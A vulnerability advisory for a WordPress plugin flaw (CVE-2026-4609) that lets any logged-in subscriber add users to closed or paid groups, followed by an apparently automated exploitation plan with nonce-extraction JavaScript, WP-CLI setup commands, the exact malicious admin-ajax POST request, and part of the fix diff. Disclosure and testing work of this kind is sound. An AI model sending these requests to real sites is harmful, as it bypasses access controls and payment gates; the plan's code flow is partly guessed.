ProfileGrid <= 5.9.8.4 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Group Joining
Description
The ProfileGrid – User Profiles, Groups and Communities plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the pm_invite_user function in all versions up to, and including, 5.9.8.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to add themselves or any registered user to any ProfileGrid group, including closed and paid groups, bypassing all authorization and payment gates.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:NTechnical Details
<=5.9.8.4What Changed in the Fix
Changes introduced in v5.9.8.5
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4609 (ProfileGrid Group Joining Bypass) ## 1. Vulnerability Summary The **ProfileGrid** plugin for WordPress (up to and including version 5.9.8.4) contains a missing authorization vulnerability in the `pm_invite_user` function. While this function is intended …
Show full research plan
Exploitation Research Plan: CVE-2026-4609 (ProfileGrid Group Joining Bypass)
1. Vulnerability Summary
The ProfileGrid plugin for WordPress (up to and including version 5.9.8.4) contains a missing authorization vulnerability in the pm_invite_user function. While this function is intended to allow group managers or administrators to invite users to groups, it lacks the necessary capability checks. This allows any authenticated user (starting from the Subscriber role) to invoke this function via an AJAX request to add themselves or any other user to any group, effectively bypassing "Closed" group restrictions and "Paid" group payment gates.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
pm_invite_user - HTTP Method:
POST - Authentication: Authenticated (Subscriber or above)
- Vulnerable Parameter(s):
group_id: The ID of the target ProfileGrid group.user_id: The ID of the user to be added (can be the attacker's own ID).
- Preconditions:
- The attacker must be logged in as a Subscriber.
- The target group ID must be known (groups are often listed on the frontend).
3. Code Flow (Inferred)
- Entry Point: The AJAX action
wp_ajax_pm_invite_user(and potentiallywp_ajax_nopriv_pm_invite_userdepending on the implementation, though the CVE specifies "Authenticated") is registered in the plugin initialization. - Handler: The request is routed to the
pm_invite_userfunction (typically located in thePM_requestclass or a dedicated AJAX handler class). - Missing Check: The function likely calls
check_ajax_referer()to verify a nonce but fails to verify if thecurrent_user_id()has permission to manage the group specified bygroup_idor invite users generally (e.g.,current_user_can('manage_options')). - Sink: The function uses the
PM_DBhandler(visible inincludes/class-profile-magic-dbhandler.php) orupdate_user_metato associate theuser_idwith thegroup_idin thepm_groupmeta key (as seen in the logic withinadmin/partials/add-group-tabview.php).
4. Nonce Acquisition Strategy
ProfileGrid typically enqueues nonces for its AJAX actions via wp_localize_script. Since pm_invite_user is a frontend-facing feature for group managers, the nonce is likely available on group pages or the user's profile.
Strategy:
- Identify a page where ProfileGrid scripts are loaded (e.g., a page containing the
[pg_groups]or[pg_group_members]shortcode). - Use the
browser_evaltool to extract the nonce from the localized JavaScript objects. - Common objects in ProfileGrid include
pg_ajax_objectorpm_fields_object.
Execution:
- Create a dummy page with a ProfileGrid shortcode:
wp post create --post_type=page --post_status=publish --post_content='[pg_groups]'. - Navigate to that page as a Subscriber.
- Execute JavaScript to find the nonce:
// Attempt to find the nonce in common ProfileGrid objects window.pg_ajax_object?.ajax_nonce || window.pm_fields_object?.nonce
5. Exploitation Strategy
Step 1: Reconnaissance
- Create a "Closed" group as an Administrator and note its ID (e.g.,
gid=2). - Create a "Paid" group as an Administrator and note its ID (e.g.,
gid=3). - Identify the current Subscriber's user ID.
Step 2: Exploitation (Joining the Group)
Submit an AJAX request to add the Subscriber to the restricted group.
Request Details:
- URL:
http://target.local/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body:
action=pm_invite_user&group_id=[TARGET_GID]&user_id=[SUBSCRIBER_UID]&_wpnonce=[EXTRACTED_NONCE]
Step 3: Persistence/Secondary Exploit
Optionally, attempt to add the Administrator or another user to a group they shouldn't be in to verify "Arbitrary User" addition.
6. Test Data Setup
- Target Groups:
# Create a closed group via WP-CLI (simulating admin action) # Note: gid is usually the primary key in the 'wp_pg_groups' table wp eval "global \$wpdb; \$wpdb->insert(\$wpdb->prefix . 'pg_groups', ['group_name' => 'Secret Society', 'group_options' => serialize(['group_type' => 'Closed'])]);" - Victim/Attacker User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Nonce Page:
wp post create --post_type=page --post_title="Groups" --post_status=publish --post_content='[pg_groups]'
7. Expected Results
- Response: The server should return a success message (often
1or a JSON success status). - Access: The Subscriber user should now have access to the "Closed" group's content and appear in the group's member list.
8. Verification Steps
- Database Check: Check the
pm_groupuser meta for the attacker.
Expected Outcome: The meta value (usually a serialized array or string containing IDs) should now include thewp user meta get [ATTACKER_UID] pm_group[TARGET_GID]. - UI Check: Log in as the attacker and navigate to the group page to confirm content is visible without a "Join Pending" or "Payment Required" notice.
9. Alternative Approaches
If pm_invite_user is not the correct action for self-joining, investigate:
pm_join_group: Often used for Open groups but may lack checks for Closed/Paid groups in the vulnerable version.- Parameters: Some versions of ProfileGrid use
gidinstead ofgroup_id. Verify parameter names by checkingadmin/js/profile-magic-admin.jsfor AJAX calls.
Summary
The ProfileGrid plugin for WordPress is vulnerable to unauthorized access due to a missing authorization check in the pm_invite_user AJAX action handler. Authenticated attackers with Subscriber-level access can exploit this to add themselves or any registered user to any ProfileGrid group, including private and paid groups, bypassing authorization and payment requirements.
Security Fix
@@ -868,20 +868,33 @@ public function profile_magic_set_field_order() { + $this->pg_validate_reorder_ajax_request(); include 'partials/set-fields-order.php'; die; } public function profile_magic_set_group_order() { + $this->pg_validate_reorder_ajax_request(); include 'partials/set-groups-order.php'; die; } public function profile_magic_set_group_items() { + $this->pg_validate_reorder_ajax_request(); include 'partials/set-groups-order.php'; die; } + private function pg_validate_reorder_ajax_request() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( esc_html__( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), 403 ); + } + + if ( ! check_ajax_referer( 'ajax-nonce', 'nonce', false ) ) { + wp_send_json_error( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ), 403 ); + } + } + public function profile_magic_set_section_order() { if ( !current_user_can('manage_options') ) { die; @@ -1876,6 +1889,15 @@ } public function pm_group_option_update() { + // This option sync is only needed on normal wp-admin page loads. + if ( ! is_admin() || wp_doing_ajax() || ( defined( 'REST_REQUEST' ) && REST_REQUEST ) ) { + return; + } + + if ( ! class_exists( 'PM_DBhandler' ) || ! class_exists( 'PM_request' ) ) { + return; + } + $dbhandler = new PM_DBhandler(); $pmrequest = new PM_request(); ... (truncated at 18000 of 101674 chars — patch_diff)
Exploit Outline
The exploit targets the pm_invite_user AJAX action, which lacks capability checks for the requesting user. 1. Authentication: The attacker logs in with at least Subscriber-level privileges. 2. Target ID: The attacker identifies the group_id of a target group (e.g., a Restricted or Paid group) from the site's group directory or HTML source. 3. Nonce Retrieval: The attacker extracts a valid AJAX nonce from the localized JavaScript objects pg_ajax_object or pm_fields_object, typically found on pages utilizing ProfileGrid shortcodes. 4. Malicious Request: The attacker sends a POST request to /wp-admin/admin-ajax.php using the following parameters: - action: pm_invite_user - group_id: [Target Group ID] - user_id: [Attacker User ID or Victim User ID] - _wpnonce: [Extracted Nonce] 5. Verification: The server adds the user specified in user_id to the restricted group, granting access to protected content or memberships without payment or admin approval.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.